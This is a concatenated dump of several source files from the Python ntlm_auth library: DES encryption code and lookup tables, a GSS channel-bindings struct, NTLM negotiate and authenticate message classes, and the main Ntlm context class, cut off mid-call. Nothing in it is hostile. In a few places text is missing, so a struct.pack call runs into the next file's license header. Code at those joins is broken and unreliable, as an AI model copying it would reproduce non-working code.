print input l0 = c2l(input[0:4]) l1 = c2l(input[4:8]) ll = [l0] ll.append(l1) # print ll ll = des_encript(ll, ks, encrypt) # print ll l0 = ll[0] l1 = ll[1] output = l2c(l0) output = output + l2c(l1) # print output l0, l1, ll[0], ll[1] = U32(0), U32(0), U32(0), U32(0) return output def des_set_key(key): # key - des_cblock - UChar[8] # schedule - des_key_schedule # register unsigned long c,d,t,s; # register unsigned char *in; # register unsigned long *k; # register int i; # k = schedule # in = key k = [] c = c2l(key[0:4]) d = c2l(key[4:8]) t = U32(0) d, c, t = PERM_OP((d, c, t), 4, U32(0x0f0f0f0f)) c, t = HPERM_OP((c, t), -2, U32(0xcccc0000)) d, t = HPERM_OP((d, t), -2, U32(0xcccc0000)) d, c, t = PERM_OP((d, c, t), 1, U32(0x55555555)) c, d, t = PERM_OP((c, d, t), 8, U32(0x00ff00ff)) d, c, t = PERM_OP((d, c, t), 1, U32(0x55555555)) d = (((d & U32(0x000000ff)) << 16) | (d & U32(0x0000ff00)) | ((d & U32(0x00ff0000)) >> 16) | ( (c & U32(0xf0000000)) >> 4)) c = c & U32(0x0fffffff) for i in range(16): if (shifts2[i]): c = ((c >> 2) | (c << 26)) d = ((d >> 2) | (d << 26)) else: c = ((c >> 1) | (c << 27)) d = ((d >> 1) | (d << 27)) c = c & U32(0x0fffffff) d = d & U32(0x0fffffff) s = des_skb[0][int((c) & U32(0x3f))] | \ des_skb[1][int(((c >> 6) & U32(0x03)) | ((c >> 7) & U32(0x3c)))] | \ des_skb[2][int(((c >> 13) & U32(0x0f)) | ((c >> 14) & U32(0x30)))] | \ des_skb[3][int(((c >> 20) & U32(0x01)) | ((c >> 21) & U32(0x06)) | ((c >> 22) & U32(0x38)))] t = des_skb[4][int((d) & U32(0x3f))] | \ des_skb[5][int(((d >> 7) & U32(0x03)) | ((d >> 8) & U32(0x3c)))] | \ des_skb[6][int((d >> 15) & U32(0x3f))] | \ des_skb[7][int(((d >> 21) & U32(0x0f)) | ((d >> 22) & U32(0x30)))] # print s, t k.append(((t << 16) | (s & U32(0x0000ffff))) & U32(0xffffffff)) s = ((s >> 16) | (t & U32(0xffff0000))) s = (s << 4) | (s >> 28) k.append(s & U32(0xffffffff)) schedule = k return schedule ================================================ FILE: ntlm_auth/des_data.py ================================================ # This file is part of 'NTLM Authorization Proxy Server' http://sourceforge.net/projects/ntlmaps/ # Copyright 2001 Dmitry A. Rozmanov # # This library is free software: you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation, either # version 3 of the License, or (at your option) any later version. # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # You should have received a copy of the GNU Lesser General Public # License along with this library. If not, see or . from ntlm_auth.U32 import U32 # static unsigned long des_SPtrans[8][64]={ des_SPtrans = \ [ # nibble 0 [ U32(0x00820200), U32(0x00020000), U32(0x80800000), U32(0x80820200), U32(0x00800000), U32(0x80020200), U32(0x80020000), U32(0x80800000), U32(0x80020200), U32(0x00820200), U32(0x00820000), U32(0x80000200), U32(0x80800200), U32(0x00800000), U32(0x00000000), U32(0x80020000), U32(0x00020000), U32(0x80000000), U32(0x00800200), U32(0x00020200), U32(0x80820200), U32(0x00820000), U32(0x80000200), U32(0x00800200), U32(0x80000000), U32(0x00000200), U32(0x00020200), U32(0x80820000), U32(0x00000200), U32(0x80800200), U32(0x80820000), U32(0x00000000), U32(0x00000000), U32(0x80820200), U32(0x00800200), U32(0x80020000), U32(0x00820200), U32(0x00020000), U32(0x80000200), U32(0x00800200), U32(0x80820000), U32(0x00000200), U32(0x00020200), U32(0x80800000), U32(0x80020200), U32(0x80000000), U32(0x80800000), U32(0x00820000), U32(0x80820200), U32(0x00020200), U32(0x00820000), U32(0x80800200), U32(0x00800000), U32(0x80000200), U32(0x80020000), U32(0x00000000), U32(0x00020000), U32(0x00800000), U32(0x80800200), U32(0x00820200), U32(0x80000000), U32(0x80820000), U32(0x00000200), U32(0x80020200), ], # nibble 1 [ U32(0x10042004), U32(0x00000000), U32(0x00042000), U32(0x10040000), U32(0x10000004), U32(0x00002004), U32(0x10002000), U32(0x00042000), U32(0x00002000), U32(0x10040004), U32(0x00000004), U32(0x10002000), U32(0x00040004), U32(0x10042000), U32(0x10040000), U32(0x00000004), U32(0x00040000), U32(0x10002004), U32(0x10040004), U32(0x00002000), U32(0x00042004), U32(0x10000000), U32(0x00000000), U32(0x00040004), U32(0x10002004), U32(0x00042004), U32(0x10042000), U32(0x10000004), U32(0x10000000), U32(0x00040000), U32(0x00002004), U32(0x10042004), U32(0x00040004), U32(0x10042000), U32(0x10002000), U32(0x00042004), U32(0x10042004), U32(0x00040004), U32(0x10000004), U32(0x00000000), U32(0x10000000), U32(0x00002004), U32(0x00040000), U32(0x10040004), U32(0x00002000), U32(0x10000000), U32(0x00042004), U32(0x10002004), U32(0x10042000), U32(0x00002000), U32(0x00000000), U32(0x10000004), U32(0x00000004), U32(0x10042004), U32(0x00042000), U32(0x10040000), U32(0x10040004), U32(0x00040000), U32(0x00002004), U32(0x10002000), U32(0x10002004), U32(0x00000004), U32(0x10040000), U32(0x00042000), ], # nibble 2 [ U32(0x41000000), U32(0x01010040), U32(0x00000040), U32(0x41000040), U32(0x40010000), U32(0x01000000), U32(0x41000040), U32(0x00010040), U32(0x01000040), U32(0x00010000), U32(0x01010000), U32(0x40000000), U32(0x41010040), U32(0x40000040), U32(0x40000000), U32(0x41010000), U32(0x00000000), U32(0x40010000), U32(0x01010040), U32(0x00000040), U32(0x40000040), U32(0x41010040), U32(0x00010000), U32(0x41000000), U32(0x41010000), U32(0x01000040), U32(0x40010040), U32(0x01010000), U32(0x00010040), U32(0x00000000), U32(0x01000000), U32(0x40010040), U32(0x01010040), U32(0x00000040), U32(0x40000000), U32(0x00010000), U32(0x40000040), U32(0x40010000), U32(0x01010000), U32(0x41000040), U32(0x00000000), U32(0x01010040), U32(0x00010040), U32(0x41010000), U32(0x40010000), U32(0x01000000), U32(0x41010040), U32(0x40000000), U32(0x40010040), U32(0x41000000), U32(0x01000000), U32(0x41010040), U32(0x00010000), U32(0x01000040), U32(0x41000040), U32(0x00010040), U32(0x01000040), U32(0x00000000), U32(0x41010000), U32(0x40000040), U32(0x41000000), U32(0x40010040), U32(0x00000040), U32(0x01010000), ], # nibble 3 [ U32(0x00100402), U32(0x04000400), U32(0x00000002), U32(0x04100402), U32(0x00000000), U32(0x04100000), U32(0x04000402), U32(0x00100002), U32(0x04100400), U32(0x04000002), U32(0x04000000), U32(0x00000402), U32(0x04000002), U32(0x00100402), U32(0x00100000), U32(0x04000000), U32(0x04100002), U32(0x00100400), U32(0x00000400), U32(0x00000002), U32(0x00100400), U32(0x04000402), U32(0x04100000), U32(0x00000400), U32(0x00000402), U32(0x00000000), U32(0x00100002), U32(0x04100400), U32(0x04000400), U32(0x04100002), U32(0x04100402), U32(0x00100000), U32(0x04100002), U32(0x00000402), U32(0x00100000), U32(0x04000002), U32(0x00100400), U32(0x04000400), U32(0x00000002), U32(0x04100000), U32(0x04000402), U32(0x00000000), U32(0x00000400), U32(0x00100002), U32(0x00000000), U32(0x04100002), U32(0x04100400), U32(0x00000400), U32(0x04000000), U32(0x04100402), U32(0x00100402), U32(0x00100000), U32(0x04100402), U32(0x00000002), U32(0x04000400), U32(0x00100402), U32(0x00100002), U32(0x00100400), U32(0x04100000), U32(0x04000402), U32(0x00000402), U32(0x04000000), U32(0x04000002), U32(0x04100400), ], # nibble 4 [ U32(0x02000000), U32(0x00004000), U32(0x00000100), U32(0x02004108), U32(0x02004008), U32(0x02000100), U32(0x00004108), U32(0x02004000), U32(0x00004000), U32(0x00000008), U32(0x02000008), U32(0x00004100), U32(0x02000108), U32(0x02004008), U32(0x02004100), U32(0x00000000), U32(0x00004100), U32(0x02000000), U32(0x00004008), U32(0x00000108), U32(0x02000100), U32(0x00004108), U32(0x00000000), U32(0x02000008), U32(0x00000008), U32(0x02000108), U32(0x02004108), U32(0x00004008), U32(0x02004000), U32(0x00000100), U32(0x00000108), U32(0x02004100), U32(0x02004100), U32(0x02000108), U32(0x00004008), U32(0x02004000), U32(0x00004000), U32(0x00000008), U32(0x02000008), U32(0x02000100), U32(0x02000000), U32(0x00004100), U32(0x02004108), U32(0x00000000), U32(0x00004108), U32(0x02000000), U32(0x00000100), U32(0x00004008), U32(0x02000108), U32(0x00000100), U32(0x00000000), U32(0x02004108), U32(0x02004008), U32(0x02004100), U32(0x00000108), U32(0x00004000), U32(0x00004100), U32(0x02004008), U32(0x02000100), U32(0x00000108), U32(0x00000008), U32(0x00004108), U32(0x02004000), U32(0x02000008), ], # nibble 5 [ U32(0x20000010), U32(0x00080010), U32(0x00000000), U32(0x20080800), U32(0x00080010), U32(0x00000800), U32(0x20000810), U32(0x00080000), U32(0x00000810), U32(0x20080810), U32(0x00080800), U32(0x20000000), U32(0x20000800), U32(0x20000010), U32(0x20080000), U32(0x00080810), U32(0x00080000), U32(0x20000810), U32(0x20080010), U32(0x00000000), U32(0x00000800), U32(0x00000010), U32(0x20080800), U32(0x20080010), U32(0x20080810), U32(0x20080000), U32(0x20000000), U32(0x00000810), U32(0x00000010), U32(0x00080800), U32(0x00080810), U32(0x20000800), U32(0x00000810), U32(0x20000000), U32(0x20000800), U32(0x00080810), U32(0x20080800), U32(0x00080010), U32(0x00000000), U32(0x20000800), U32(0x20000000), U32(0x00000800), U32(0x20080010), U32(0x00080000), U32(0x00080010), U32(0x20080810), U32(0x00080800), U32(0x00000010), U32(0x20080810), U32(0x00080800), U32(0x00080000), U32(0x20000810), U32(0x20000010), U32(0x20080000), U32(0x00080810), U32(0x00000000), U32(0x00000800), U32(0x20000010), U32(0x20000810), U32(0x20080800), U32(0x20080000), U32(0x00000810), U32(0x00000010), U32(0x20080010), ], # nibble 6 [ U32(0x00001000), U32(0x00000080), U32(0x00400080), U32(0x00400001), U32(0x00401081), U32(0x00001001), U32(0x00001080), U32(0x00000000), U32(0x00400000), U32(0x00400081), U32(0x00000081), U32(0x00401000), U32(0x00000001), U32(0x00401080), U32(0x00401000), U32(0x00000081), U32(0x00400081), U32(0x00001000), U32(0x00001001), U32(0x00401081), U32(0x00000000), U32(0x00400080), U32(0x00400001), U32(0x00001080), U32(0x00401001), U32(0x00001081), U32(0x00401080), U32(0x00000001), U32(0x00001081), U32(0x00401001), U32(0x00000080), U32(0x00400000), U32(0x00001081), U32(0x00401000), U32(0x00401001), U32(0x00000081), U32(0x00001000), U32(0x00000080), U32(0x00400000), U32(0x00401001), U32(0x00400081), U32(0x00001081), U32(0x00001080), U32(0x00000000), U32(0x00000080), U32(0x00400001), U32(0x00000001), U32(0x00400080), U32(0x00000000), U32(0x00400081), U32(0x00400080), U32(0x00001080), U32(0x00000081), U32(0x00001000), U32(0x00401081), U32(0x00400000), U32(0x00401080), U32(0x00000001), U32(0x00001001), U32(0x00401081), U32(0x00400001), U32(0x00401080), U32(0x00401000), U32(0x00001001), ], # nibble 7 [ U32(0x08200020), U32(0x08208000), U32(0x00008020), U32(0x00000000), U32(0x08008000), U32(0x00200020), U32(0x08200000), U32(0x08208020), U32(0x00000020), U32(0x08000000), U32(0x00208000), U32(0x00008020), U32(0x00208020), U32(0x08008020), U32(0x08000020), U32(0x08200000), U32(0x00008000), U32(0x00208020), U32(0x00200020), U32(0x08008000), U32(0x08208020), U32(0x08000020), U32(0x00000000), U32(0x00208000), U32(0x08000000), U32(0x00200000), U32(0x08008020), U32(0x08200020), U32(0x00200000), U32(0x00008000), U32(0x08208000), U32(0x00000020), U32(0x00200000), U32(0x00008000), U32(0x08000020), U32(0x08208020), U32(0x00008020), U32(0x08000000), U32(0x00000000), U32(0x00208000), U32(0x08200020), U32(0x08008020), U32(0x08008000), U32(0x00200020), U32(0x08208000), U32(0x00000020), U32(0x00200020), U32(0x08008000), U32(0x08208020), U32(0x00200000), U32(0x08200000), U32(0x08000020), U32(0x00208000), U32(0x00008020), U32(0x08008020), U32(0x08200000), U32(0x00000020), U32(0x08208000), U32(0x00208020), U32(0x00000000), U32(0x08000000), U32(0x08200020), U32(0x00008000), U32(0x00208020), ], ] # static unsigned long des_skb[8][64]={ des_skb = \ [ # for C bits (numbered as per FIPS 46) 1 2 3 4 5 6 [ U32(0x00000000), U32(0x00000010), U32(0x20000000), U32(0x20000010), U32(0x00010000), U32(0x00010010), U32(0x20010000), U32(0x20010010), U32(0x00000800), U32(0x00000810), U32(0x20000800), U32(0x20000810), U32(0x00010800), U32(0x00010810), U32(0x20010800), U32(0x20010810), U32(0x00000020), U32(0x00000030), U32(0x20000020), U32(0x20000030), U32(0x00010020), U32(0x00010030), U32(0x20010020), U32(0x20010030), U32(0x00000820), U32(0x00000830), U32(0x20000820), U32(0x20000830), U32(0x00010820), U32(0x00010830), U32(0x20010820), U32(0x20010830), U32(0x00080000), U32(0x00080010), U32(0x20080000), U32(0x20080010), U32(0x00090000), U32(0x00090010), U32(0x20090000), U32(0x20090010), U32(0x00080800), U32(0x00080810), U32(0x20080800), U32(0x20080810), U32(0x00090800), U32(0x00090810), U32(0x20090800), U32(0x20090810), U32(0x00080020), U32(0x00080030), U32(0x20080020), U32(0x20080030), U32(0x00090020), U32(0x00090030), U32(0x20090020), U32(0x20090030), U32(0x00080820), U32(0x00080830), U32(0x20080820), U32(0x20080830), U32(0x00090820), U32(0x00090830), U32(0x20090820), U32(0x20090830), ], # for C bits (numbered as per FIPS 46) 7 8 10 11 12 13 [ U32(0x00000000), U32(0x02000000), U32(0x00002000), U32(0x02002000), U32(0x00200000), U32(0x02200000), U32(0x00202000), U32(0x02202000), U32(0x00000004), U32(0x02000004), U32(0x00002004), U32(0x02002004), U32(0x00200004), U32(0x02200004), U32(0x00202004), U32(0x02202004), U32(0x00000400), U32(0x02000400), U32(0x00002400), U32(0x02002400), U32(0x00200400), U32(0x02200400), U32(0x00202400), U32(0x02202400), U32(0x00000404), U32(0x02000404), U32(0x00002404), U32(0x02002404), U32(0x00200404), U32(0x02200404), U32(0x00202404), U32(0x02202404), U32(0x10000000), U32(0x12000000), U32(0x10002000), U32(0x12002000), U32(0x10200000), U32(0x12200000), U32(0x10202000), U32(0x12202000), U32(0x10000004), U32(0x12000004), U32(0x10002004), U32(0x12002004), U32(0x10200004), U32(0x12200004), U32(0x10202004), U32(0x12202004), U32(0x10000400), U32(0x12000400), U32(0x10002400), U32(0x12002400), U32(0x10200400), U32(0x12200400), U32(0x10202400), U32(0x12202400), U32(0x10000404), U32(0x12000404), U32(0x10002404), U32(0x12002404), U32(0x10200404), U32(0x12200404), U32(0x10202404), U32(0x12202404), ], # for C bits (numbered as per FIPS 46) 14 15 16 17 19 20 [ U32(0x00000000), U32(0x00000001), U32(0x00040000), U32(0x00040001), U32(0x01000000), U32(0x01000001), U32(0x01040000), U32(0x01040001), U32(0x00000002), U32(0x00000003), U32(0x00040002), U32(0x00040003), U32(0x01000002), U32(0x01000003), U32(0x01040002), U32(0x01040003), U32(0x00000200), U32(0x00000201), U32(0x00040200), U32(0x00040201), U32(0x01000200), U32(0x01000201), U32(0x01040200), U32(0x01040201), U32(0x00000202), U32(0x00000203), U32(0x00040202), U32(0x00040203), U32(0x01000202), U32(0x01000203), U32(0x01040202), U32(0x01040203), U32(0x08000000), U32(0x08000001), U32(0x08040000), U32(0x08040001), U32(0x09000000), U32(0x09000001), U32(0x09040000), U32(0x09040001), U32(0x08000002), U32(0x08000003), U32(0x08040002), U32(0x08040003), U32(0x09000002), U32(0x09000003), U32(0x09040002), U32(0x09040003), U32(0x08000200), U32(0x08000201), U32(0x08040200), U32(0x08040201), U32(0x09000200), U32(0x09000201), U32(0x09040200), U32(0x09040201), U32(0x08000202), U32(0x08000203), U32(0x08040202), U32(0x08040203), U32(0x09000202), U32(0x09000203), U32(0x09040202), U32(0x09040203), ], # for C bits (numbered as per FIPS 46) 21 23 24 26 27 28 [ U32(0x00000000), U32(0x00100000), U32(0x00000100), U32(0x00100100), U32(0x00000008), U32(0x00100008), U32(0x00000108), U32(0x00100108), U32(0x00001000), U32(0x00101000), U32(0x00001100), U32(0x00101100), U32(0x00001008), U32(0x00101008), U32(0x00001108), U32(0x00101108), U32(0x04000000), U32(0x04100000), U32(0x04000100), U32(0x04100100), U32(0x04000008), U32(0x04100008), U32(0x04000108), U32(0x04100108), U32(0x04001000), U32(0x04101000), U32(0x04001100), U32(0x04101100), U32(0x04001008), U32(0x04101008), U32(0x04001108), U32(0x04101108), U32(0x00020000), U32(0x00120000), U32(0x00020100), U32(0x00120100), U32(0x00020008), U32(0x00120008), U32(0x00020108), U32(0x00120108), U32(0x00021000), U32(0x00121000), U32(0x00021100), U32(0x00121100), U32(0x00021008), U32(0x00121008), U32(0x00021108), U32(0x00121108), U32(0x04020000), U32(0x04120000), U32(0x04020100), U32(0x04120100), U32(0x04020008), U32(0x04120008), U32(0x04020108), U32(0x04120108), U32(0x04021000), U32(0x04121000), U32(0x04021100), U32(0x04121100), U32(0x04021008), U32(0x04121008), U32(0x04021108), U32(0x04121108), ], # for D bits (numbered as per FIPS 46) 1 2 3 4 5 6 [ U32(0x00000000), U32(0x10000000), U32(0x00010000), U32(0x10010000), U32(0x00000004), U32(0x10000004), U32(0x00010004), U32(0x10010004), U32(0x20000000), U32(0x30000000), U32(0x20010000), U32(0x30010000), U32(0x20000004), U32(0x30000004), U32(0x20010004), U32(0x30010004), U32(0x00100000), U32(0x10100000), U32(0x00110000), U32(0x10110000), U32(0x00100004), U32(0x10100004), U32(0x00110004), U32(0x10110004), U32(0x20100000), U32(0x30100000), U32(0x20110000), U32(0x30110000), U32(0x20100004), U32(0x30100004), U32(0x20110004), U32(0x30110004), U32(0x00001000), U32(0x10001000), U32(0x00011000), U32(0x10011000), U32(0x00001004), U32(0x10001004), U32(0x00011004), U32(0x10011004), U32(0x20001000), U32(0x30001000), U32(0x20011000), U32(0x30011000), U32(0x20001004), U32(0x30001004), U32(0x20011004), U32(0x30011004), U32(0x00101000), U32(0x10101000), U32(0x00111000), U32(0x10111000), U32(0x00101004), U32(0x10101004), U32(0x00111004), U32(0x10111004), U32(0x20101000), U32(0x30101000), U32(0x20111000), U32(0x30111000), U32(0x20101004), U32(0x30101004), U32(0x20111004), U32(0x30111004), ], # for D bits (numbered as per FIPS 46) 8 9 11 12 13 14 [ U32(0x00000000), U32(0x08000000), U32(0x00000008), U32(0x08000008), U32(0x00000400), U32(0x08000400), U32(0x00000408), U32(0x08000408), U32(0x00020000), U32(0x08020000), U32(0x00020008), U32(0x08020008), U32(0x00020400), U32(0x08020400), U32(0x00020408), U32(0x08020408), U32(0x00000001), U32(0x08000001), U32(0x00000009), U32(0x08000009), U32(0x00000401), U32(0x08000401), U32(0x00000409), U32(0x08000409), U32(0x00020001), U32(0x08020001), U32(0x00020009), U32(0x08020009), U32(0x00020401), U32(0x08020401), U32(0x00020409), U32(0x08020409), U32(0x02000000), U32(0x0A000000), U32(0x02000008), U32(0x0A000008), U32(0x02000400), U32(0x0A000400), U32(0x02000408), U32(0x0A000408), U32(0x02020000), U32(0x0A020000), U32(0x02020008), U32(0x0A020008), U32(0x02020400), U32(0x0A020400), U32(0x02020408), U32(0x0A020408), U32(0x02000001), U32(0x0A000001), U32(0x02000009), U32(0x0A000009), U32(0x02000401), U32(0x0A000401), U32(0x02000409), U32(0x0A000409), U32(0x02020001), U32(0x0A020001), U32(0x02020009), U32(0x0A020009), U32(0x02020401), U32(0x0A020401), U32(0x02020409), U32(0x0A020409), ], # for D bits (numbered as per FIPS 46) 16 17 18 19 20 21 [ U32(0x00000000), U32(0x00000100), U32(0x00080000), U32(0x00080100), U32(0x01000000), U32(0x01000100), U32(0x01080000), U32(0x01080100), U32(0x00000010), U32(0x00000110), U32(0x00080010), U32(0x00080110), U32(0x01000010), U32(0x01000110), U32(0x01080010), U32(0x01080110), U32(0x00200000), U32(0x00200100), U32(0x00280000), U32(0x00280100), U32(0x01200000), U32(0x01200100), U32(0x01280000), U32(0x01280100), U32(0x00200010), U32(0x00200110), U32(0x00280010), U32(0x00280110), U32(0x01200010), U32(0x01200110), U32(0x01280010), U32(0x01280110), U32(0x00000200), U32(0x00000300), U32(0x00080200), U32(0x00080300), U32(0x01000200), U32(0x01000300), U32(0x01080200), U32(0x01080300), U32(0x00000210), U32(0x00000310), U32(0x00080210), U32(0x00080310), U32(0x01000210), U32(0x01000310), U32(0x01080210), U32(0x01080310), U32(0x00200200), U32(0x00200300), U32(0x00280200), U32(0x00280300), U32(0x01200200), U32(0x01200300), U32(0x01280200), U32(0x01280300), U32(0x00200210), U32(0x00200310), U32(0x00280210), U32(0x00280310), U32(0x01200210), U32(0x01200310), U32(0x01280210), U32(0x01280310), ], # for D bits (numbered as per FIPS 46) 22 23 24 25 27 28 [ U32(0x00000000), U32(0x04000000), U32(0x00040000), U32(0x04040000), U32(0x00000002), U32(0x04000002), U32(0x00040002), U32(0x04040002), U32(0x00002000), U32(0x04002000), U32(0x00042000), U32(0x04042000), U32(0x00002002), U32(0x04002002), U32(0x00042002), U32(0x04042002), U32(0x00000020), U32(0x04000020), U32(0x00040020), U32(0x04040020), U32(0x00000022), U32(0x04000022), U32(0x00040022), U32(0x04040022), U32(0x00002020), U32(0x04002020), U32(0x00042020), U32(0x04042020), U32(0x00002022), U32(0x04002022), U32(0x00042022), U32(0x04042022), U32(0x00000800), U32(0x04000800), U32(0x00040800), U32(0x04040800), U32(0x00000802), U32(0x04000802), U32(0x00040802), U32(0x04040802), U32(0x00002800), U32(0x04002800), U32(0x00042800), U32(0x04042800), U32(0x00002802), U32(0x04002802), U32(0x00042802), U32(0x04042802), U32(0x00000820), U32(0x04000820), U32(0x00040820), U32(0x04040820), U32(0x00000822), U32(0x04000822), U32(0x00040822), U32(0x04040822), U32(0x00002820), U32(0x04002820), U32(0x00042820), U32(0x04042820), U32(0x00002822), U32(0x04002822), U32(0x00042822), U32(0x04042822), ] ] ================================================ FILE: ntlm_auth/gss_channel_bindings.py ================================================ # This library is free software: you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation, either # version 3 of the License, or (at your option) any later version. # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # You should have received a copy of the GNU Lesser General Public # License along with this library. If not, see or . import struct """ This is not the easiest structure to understand, ultimately this is a set structure as defined by Microsoft. Channel Binding Tokens set the SHA256 hash of the server certificate to the application_data field and then ultimately creates the MD5 hash to include in the NTLM auth from there. This class is just designed to create the bindings structure which is then used by compute_response.py to do the rest of the work. For more infor on how this works and how it is derived, this is a great link; https://blogs.msdn.microsoft.com/openspecification/2013/03/26/ntlm-and-channel-binding-hash-aka-extended-protection-for-authentication/ """ class GssChannelBindingsStruct(object): INITIATOR_ADDTYPE = 'initiator_addtype' INITIATOR_ADDRESS_LENGTH = 'initiator_address_length' ACCEPTOR_ADDRTYPE = 'acceptor_addrtype' ACCEPTOR_ADDRESS_LENGTH = 'acceptor_address_length' APPLICATION_DATA_LENGTH = 'application_data_length' INITIATOR_ADDRESS = 'initiator_address' ACCEPTOR_ADDRESS = 'acceptor_address' APPLICATION_DATA = 'application_data' def __init__(self): self.fields = {} self.fields[self.INITIATOR_ADDTYPE] = 0 self.fields[self.INITIATOR_ADDRESS_LENGTH] = 0 self.fields[self.ACCEPTOR_ADDRTYPE] = 0 self.fields[self.ACCEPTOR_ADDRESS_LENGTH] = 0 self.fields[self.APPLICATION_DATA_LENGTH] = 0 self.fields[self.INITIATOR_ADDRESS] = b'' self.fields[self.ACCEPTOR_ADDRESS] = b'' self.fields[self.APPLICATION_DATA] = b'' def __setitem__(self, key, value): self.fields[key] = value def get_data(self): # Set the lengths of each len field in case they have changed self.fields[self.INITIATOR_ADDRESS_LENGTH] = len(self.fields[self.INITIATOR_ADDRESS]) self.fields[self.ACCEPTOR_ADDRESS_LENGTH] = len(self.fields[self.ACCEPTOR_ADDRESS]) self.fields[self.APPLICATION_DATA_LENGTH] = len(self.fields[self.APPLICATION_DATA]) # Add all the values together to create the gss_channel_bindings_struct data = struct.pack(' or . import hmac import os import struct from ntlm_auth.compute_response import ComputeResponse from ntlm_auth.constants import NegotiateFlags, MessageTypes, NTLM_SIGNATURE, AvFlags from ntlm_auth.rc4 import ARC4 from ntlm_auth.target_info import TargetInfo class NegotiateMessage(object): EXPECTED_BODY_LENGTH = 40 """ [MS-NLMP] v28.0 2016-07-14 2.2.1.1 NEGOTIATE_MESSAGE The NEGOTIATE_MESSAGE defines an NTLM Negotiate message that is sent from the client to the server. This message allows the client to specify its supported NTLM options to the server. :param negotiate_flags: A NEGOTIATE structure that contains a set of bit flags. These flags are the options the client supports :param domain_name: The domain name of the user to authenticate with, default is None :param workstation: The worksation of the client machine, default is None Attributes: signature: An 8-byte character array that MUST contain the ASCII string 'NTLMSSP\0' message_type: A 32-bit unsigned integer that indicates the message type. This field must be set to 0x00000001 negotiate_flags: A NEGOTIATE structure that contains a set of bit flags. These flags are the options the client supports version: Contains the windows version info of the client. It is used only debugging purposes and are only set when NTLMSSP_NEGOTIATE_VERSION flag is set domain_name: A byte-array that contains the name of the client authentication domain that MUST Be encoded in the negotiated character set workstation: A byte-array that contains the name of the client machine that MUST Be encoded in the negotiated character set """ def __init__(self, negotiate_flags, domain_name, workstation): self.signature = NTLM_SIGNATURE self.message_type = struct.pack(' or . import base64 import socket import struct from ntlm_auth.constants import NegotiateFlags from ntlm_auth.messages import NegotiateMessage, ChallengeMessage, AuthenticateMessage from ntlm_auth.session_security import SessionSecurity """ utility functions for Microsoft NTLM authentication References: [MS-NLMP]: NT LAN Manager (NTLM) Authentication Protocol Specification http://download.microsoft.com/download/a/e/6/ae6e4142-aa58-45c6-8dcf-a657e5900cd3/%5BMS-NLMP%5D.pdf [MS-NTHT]: NTLM Over HTTP Protocol Specification http://download.microsoft.com/download/a/e/6/ae6e4142-aa58-45c6-8dcf-a657e5900cd3/%5BMS-NTHT%5D.pdf Cntlm Authentication Proxy http://cntlm.awk.cz/ NTLM Authorization Proxy Server http://sourceforge.net/projects/ntlmaps/ Optimized Attack for NTLM2 Session Response http://www.blackhat.com/presentations/bh-asia-04/bh-jp-04-pdfs/bh-jp-04-seki.pdf """ class Ntlm(object): """ Initialises the NTLM context to use when sending and receiving messages to and from the server. You should be using this object as it supports NTLMv2 authenticate and it easier to use than before. It also brings in the ability to use signing and sealing with session_security and generate a MIC structure. :param ntlm_compatibility: The Lan Manager Compatibility Level to use withe the auth message - Default 3 This is set by an Administrator in the registry key 'HKLM\SYSTEM\CurrentControlSet\Control\Lsa\LmCompatibilityLevel' The values correspond to the following; 0 : LM and NTLMv1 1 : LM, NTLMv1 and NTLMv1 with Extended Session Security 2 : NTLMv1 and NTLMv1 with Extended Session Security 3-5 : NTLMv2 Only Note: Values 3 to 5 are no different as the client supports the same types Attributes: negotiate_flags: A NEGOTIATE structure that contains a set of bit flags. These flags are the options the client supports and are sent in the negotiate_message ntlm_compatibility: The Lan Manager Compatibility Level, same as the input if supplied negotiate_message: A NegotiateMessage object that is sent to the server challenge_message: A ChallengeMessage object that has been created from the server response authenticate_message: An AuthenticateMessage object that is sent to the server based on the ChallengeMessage session_security: A SessionSecurity structure that can be used to sign and seal messages sent after the authentication challenge """ def __init__(self, ntlm_compatibility=3): self.ntlm_compatibility = ntlm_compatibility # Setting up our flags so the challenge message returns the target info block if supported self.negotiate_flags = NegotiateFlags.NTLMSSP_NEGOTIATE_TARGET_INFO | \ NegotiateFlags.NTLMSSP_NEGOTIATE_128 | \ NegotiateFlags.NTLMSSP_NEGOTIATE_56 | \ NegotiateFlags.NTLMSSP_NEGOTIATE_UNICODE | \ NegotiateFlags.NTLMSSP_NEGOTIATE_VERSION | \ NegotiateFlags.NTLMSSP_NEGOTIATE_KEY_EXCH | \ NegotiateFlags.NTLMSSP_NEGOTIATE_ALWAYS_SIGN | \ NegotiateFlags.NTLMSSP_NEGOTIATE_SIGN | \ NegotiateFlags.NTLMSSP_NEGOTIATE_SEAL # Setting the message types based on the ntlm_compatibility level self._set_ntlm_compatibility_flags(self.ntlm_compatibility) self.negotiate_message = None self.challenge_message = None self.authenticate_message = None self.session_security = None def create_negotiate_message(self, domain_name=None, workstation=None): """ Create an NTLM NEGOTIATE_MESSAGE :param domain_name: The domain name of the user account we are authenticating with, default is None :param worksation: The workstation we are using to authenticate with, default is None :return: A base64 encoded string of the NEGOTIATE_MESSAGE """ self.negotiate_message = NegotiateMessage(self.negotiate_flags, domain_name, workstation) return base64.b64encode(self.negotiate_message.get_data()) def parse_challenge_message(self, msg2): """ Parse the NTLM CHALLENGE_MESSAGE from the server and add it to the Ntlm context fields :param msg2: A base64 encoded string of the CHALLENGE_MESSAGE """ msg2 = base64.b64decode(msg2) self.challenge_message = ChallengeMessage(msg2) def create_authenticate_message(self, user_name, password=None, nthash=None, lmhash=None, domain_name=None, workstation=None, server_certificate_hash=None): """ Create an NTLM AUTHENTICATE_MESSAGE based on the Ntlm context and the previous messages sent and received :param user_name: The user name of the user we are trying to authenticate with :param password: The password of the user we are trying to authenticate with :param domain_name: The domain name of the user account we are authenticated with, default is None :param workstation: The workstation we are using to authenticate with, default is None :param server_certificate_hash: The SHA256 hash string of the server certificate (DER encoded) NTLM is authenticating to. Used for Channel Binding Tokens. If nothing is supplied then the CBT hash will not be sent. See messages.py AuthenticateMessage for more details :return: A base64 encoded string of the AUTHENTICATE_MESSAGE """ self.authenticate_message = AuthenticateMessage(user_name, password, nthash, lmhash, domain_name, workstation, 